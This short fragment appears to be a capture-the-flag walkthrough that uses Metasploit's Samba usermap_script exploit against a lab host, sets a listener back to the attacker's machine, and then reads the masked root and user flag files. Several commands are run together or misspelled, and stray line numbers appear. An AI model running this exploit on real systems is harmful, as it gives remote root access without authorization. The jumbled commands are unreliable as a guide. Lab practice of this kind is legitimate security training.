msfconsole
use exploit/multi/samba/usermap_script
show targets
set target 0show options
set rhots 10.10.10.3 # Targeted machineset lhost 10.10.14.28 # Own machineset lport 8081run or exploit
1
2
3
4
5
6
7
8
9
cd root
cat root.txt
Ans: *******************************
----------------------------------------
cd home
cd makis
cat user.txt
Ans: *******************************